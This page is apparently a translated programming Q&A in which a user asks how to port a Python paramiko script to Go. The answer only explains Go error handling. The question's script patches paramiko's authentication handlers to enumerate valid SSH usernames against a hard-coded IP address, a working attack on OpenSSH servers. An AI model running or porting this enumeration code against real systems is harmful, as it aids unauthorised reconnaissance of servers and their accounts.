首页 > 解决方案 > golang 使用 ssh 连接到 ssh 并打印错误异常

问题描述

我想在 golang 版本中转换 python 代码,这是我的 python 代码:

#!/usr/bin/env python

import argparse
import logging
import paramiko
import socket
import sys


class InvalidUsername(Exception):
    pass


def add_boolean(*args, **kwargs):
    pass


old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
        paramiko.common.MSG_SERVICE_ACCEPT]

def service_accept(*args, **kwargs):
    paramiko.message.Message.add_boolean = add_boolean
    return old_service_accept(*args, **kwargs)


def userauth_failure(*args, **kwargs):
    raise InvalidUsername()


paramiko.auth_handler.AuthHandler._handler_table.update({
    paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
    paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
})

#logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())

sock = socket.socket()
sock.connect(("206.189.86.110", 22))

transport = paramiko.transport.Transport(sock)
transport.start_client()

try:
    transport.auth_publickey("root", paramiko.RSAKey.generate(2048))
except InvalidUsername:
    print '[*] Invalid username'
    sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
    print '[+] Valid username'

这是我当前的 golang 代码: https: //play.golang.org/p/rzZ7f_if7Wk,我想创建与 python 代码版本相同的异常except InvalidUsername:paramiko.ssh_exception.AuthenticationException我该怎么做?

标签: go

解决方案


首先,我觉得你采取的方法有点奇怪。Python 和 Go 是两种截然不同的编程语言,具有不同的编码范例和完全不同的错误/异常处理方式。因此,从一段 Python 代码开始并将其转换为 Go 可能并不总是那么简单。

由于您的问题最终是关于处理异常的,因此这是一篇关于 Go 如何处理错误的简单文章:https ://blog.golang.org/error-handling-and-go (总而言之,函数故意将错误作为值返回,任何人调用函数的人会检查是否返回了错误,然后执行它想要的任何操作,例如恐慌、打印错误或在上游返回错误等)

在您提供的 Go Playground 链接中,可以讨论很多事情 - ssh 包的使用、处理或错误等。这是一个专注于异常处理(而不是 ssh 包和逻辑)的快速代码。

注意:这不是关于如何使用 ssh 包进行身份验证的演示,因此请不要使用它。这只是我将如何在逻辑中引入自定义标准化异常/错误的示例。

import (
    "fmt"
    "golang.org/x/crypto/ssh"
)

var ErrInvalidUsername error = fmt.Errorf("Invalid Username")
var ErrAuthenticationFailed error = fmt.Errorf("Authentication Failure")
var ErrPublicKeyNotParsed error = fmt.Errorf("Could not parse the public key")

func AuthenticateExample(username string, publicKey []byte) error {
    // let's assume there is a function isValidUsername that takes a username and returns bool 
    if !isValidUsername(username) { 
        return ErrInvalidUsername
    }

    // do your ssh auth logic here, call ssh package functions which will return an error
    // such as...
    pubKey, err := ssh.ParseKey(publicKey)
    if err != nil {
        return ErrPublicKeyNotParsed 
        // OR you could simple also return the err variable itself by using:
        // return err
    }

    // do more logic, and return ErrAuthenticationFailure is needed
    // ... 

    return nil // since there is no error if we reach this line
}

我希望这有助于解释 Go 的异常处理。祝你好运!


推荐阅读